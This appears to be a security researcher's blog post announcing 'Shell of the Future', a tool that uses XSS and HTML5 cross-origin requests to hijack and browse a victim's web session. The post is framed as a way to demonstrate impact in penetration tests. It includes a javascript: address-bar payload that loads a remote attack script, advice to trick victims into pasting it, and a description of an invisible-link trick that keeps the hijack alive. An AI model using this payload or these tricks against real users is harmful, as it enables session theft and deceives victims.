If you claim that "XSS is not a big deal" that means you never owned something by using it and that's your problem not XSS's
-Ferruh Mavituna, Author of XSS Shell, XSS Tunnel and NetSparker
Cross-site Scripting is an interesting vulnerability. It is relatively easier to discover in a Penetration test but demonstrating its impact has always been tricky. So tricky in fact that it has pushed one of the most creative groups of people in IT (Penetration testers) in to using the most boring and misleading POC possible. Yes, you guessed it right, the ubiquitous JavaScript alert() box. To break the monotonousness testers sometimes change the message being displayed but that’s as far as it usually goes. It also has the nasty side effect of developers blocking the word ‘alert’ in their code while ‘eval’ is let through.
In pentests XSS is usually considered as a dead-end vulnerability - you discover it, take a screenshot and move on to something else. It cannot be exploited and used as a stepping stone to another attack because exploiting it would require attacking a user and that is something Penetration testers aren’t allowed to do, the contract 9 out of 10 times only lets us attack the server or the application. That however does not stop the attackers from going so far as to taking over entire servers using a simple XSS in the real world.
The real impact of XSS is that an attacker can do anything that the user can do with his session. Today I am releasing a tool that would let you demonstrate this very impact with the same effort involved as showing the alert box. Ladies and Gentlemen, I give you - Shell of the Future.
Shell of the Future is a Reverse Web Shell handler. It’s the browser equivalent of a reverse command shell, instead of a command prompt from which you type in commands, you get to browse the victim’s HTTP/HTTPS session from your browser. Even though the site is being browsed from the pentester’s browser all the pages are fetched by the victim’s browser. This is done by tunneling HTTP over HTTP using HTML5 Cross Origin Requests. The hijacked session also displays a hovering banner over it which can be heavily customized, making it the perfect POC for your pentest report.
So how does it work? very simple. Shell of the Future has both a proxy server and a web server. The pentester has to set his browser to use Shell of the Future’s proxy server, start the tool and go to http://127.0.0.1/sotf.console from his browser. This shows the web interface from which the victim’s sessions can be hijacked.
Before hijacking a session we need to inject our JavaScript exploit in to the victim’s browser using XSS. Shell of the Future comes with two readymade JavaScript exploits – e1.js and e2.js.
Once injected ( Eg: ) the exploit starts talking to the Shell of the Future server and it becomes available for hijack from the console page. To hijack this session just click on the link that says ‘Hijack Session’ and this session can be browsed from the pentester’s browser.
It is that simple, no installation required, no configuration required, no additional software, it’s all set-up and ready to go at one click.
Even if the site is not vulnerable to XSS the victim’s session can still be hijacked by getting them to paste the following code in the browser’s Address Bar.
Eg:
javascript:eval("s=document.createElement('script');s.src='http://127.0.0.1/e1.js';document.getElementsByTagName('head')[0].appendChild(s)")
Shell of the Future can be downloaded from our tools section and there is also a detailed manual available.
A video demonstration of all the features is available here.
If you are interested in more details then read on.
The tool makes use of HTML5 Cross Origin Requests to tunnel HTTP traffic over HTTP. Once e1.js or e2.js are injected in to the victim’s browser they start polling Shell of the Future(SotF) through Cross Origin Requests(COR). SotF assigns a unique ID for each session and shows this in its console page. When ‘Hijack Session’ is clicked the request from the browser is sent to the SotF proxy which inturn sends it to the SotF server which further passes it on to the victim. The victim fetches the page and sends the response to the SotF server using COR which sends it to the proxy and then to the pentester’s browser.
The two e1.js and e2.js are very similar but e2.js has an extra trick to make the attack more practical. You can only browse the victim’s session for as long as the injected JavaScript is active in the victim’s browser. Sometimes this could be a problem. Let’s say the site with XSS cannot be placed in an iframe then the victim must be directly on the site where the injection is happening. Now the lifetime of the injected scripted is extremely limited because the moment the victim clicks on any links and browses to another page in the site, the script dies. To counteract this, e2.js adds an invisible link to the page and this link is placed exactly under the mouse and follows the mouse moments. When the victim clicks on any part of the page he is actually clicking the invisible link and this link opens the same site in a new tab which also becomes the active tab. Now the victim would happily browse the site in the new tab while the injected script is live in the other tab. The transition to the new tab is pretty smooth so most users would never suspect anything.
If you would want still more details then check the detailed documentation.
I got this idea when reading about HTML5 Cross Origin Requests and thought it was new concept so started this project as a POC. But when I spoke to Manish about it a little latter, he burst my bubble and told me that XSS Tunnel already did something similar. Infact XSS Proxy and XSS Tunnel both did something similar and that too back when there was no COR!! * bows to both Anton Rager and Ferruh Mavituna and thanks Manish for saving me from embarrassment once again *
So I stopped working on it for sometime and then started again with a different approach. Rather than making it a POC for my idea which turned out to be a well known technique, I have made Shell of the Future as a tool specifically to make POCs for XSS and JS Injection vulnerabilities. Both the victim and the attacker can be on the same system just different browsers, Chrome and FireFox are ideal candidates. It works on IE and Safari as well but their aggressive caching can sometime serve stale content. Opera however does not support CORs yet and hence this doesn't work there.
The goal was to make a tool that would accurately demonstrate the severity of XSS with literally the same effort involved as getting the infamous alert box to pop up and I think it has been achieved it.
Also this time around I am providing the source code of the tool as well. It’s not the most elegantly written piece of code but hey, it works!
